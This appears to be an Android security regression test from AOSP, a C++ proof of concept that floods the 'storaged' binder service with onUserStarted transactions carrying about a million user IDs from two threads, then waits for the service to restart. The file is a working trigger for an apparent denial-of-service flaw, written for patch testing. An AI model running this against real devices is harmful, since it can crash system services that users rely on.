1 /**
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <binder/IServiceManager.h>
18 #include <binder/Parcel.h>
19 #include <pthread.h>
20 #include <unistd.h>
21 #include "../includes/common.h"
22
23 using namespace android;
24
25 static int userId = 0;
26 constexpr int kMaxThreads = 2;
27 constexpr int kMaxUsers = 1024 * 1024;
28 constexpr int kSleepDuration = 5;
29
30
trigger_onUserStarted(void * p)31 static void *trigger_onUserStarted(void *p __attribute__((unused))) {
32 sp<IServiceManager> sm = defaultServiceManager();
33 sp<IBinder> service = sm->checkService(String16("storaged"));
34
35 if (not service) {
36 return nullptr;
37 }
38
39 while (userId < kMaxUsers) {
40 Parcel data, reply;
41 data.writeInterfaceToken(service->getInterfaceDescriptor());
42 data.writeInt32(++userId);
43 service->transact(1, data, &reply, 0);
44 }
45
46 return nullptr;
47 }
48
main()49 int main() {
50 pthread_t threads[kMaxThreads];
51
52 for (int t = 0; t < kMaxThreads; ++t) {
53 pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
54 }
55 for (int t = 0; t < kMaxThreads; ++t) {
56 pthread_join(threads[t], nullptr);
57 }
58
59 time_t currentTime = start_timer();
60 while (timer_active(currentTime)) {
61 sp<IServiceManager> sm = defaultServiceManager();
62 sp<IBinder> service = sm->checkService(String16("storaged"));
63 if (service) {
64 break;
65 }
66 sleep(kSleepDuration);
67 }
68
69 return EXIT_SUCCESS;
70 }
71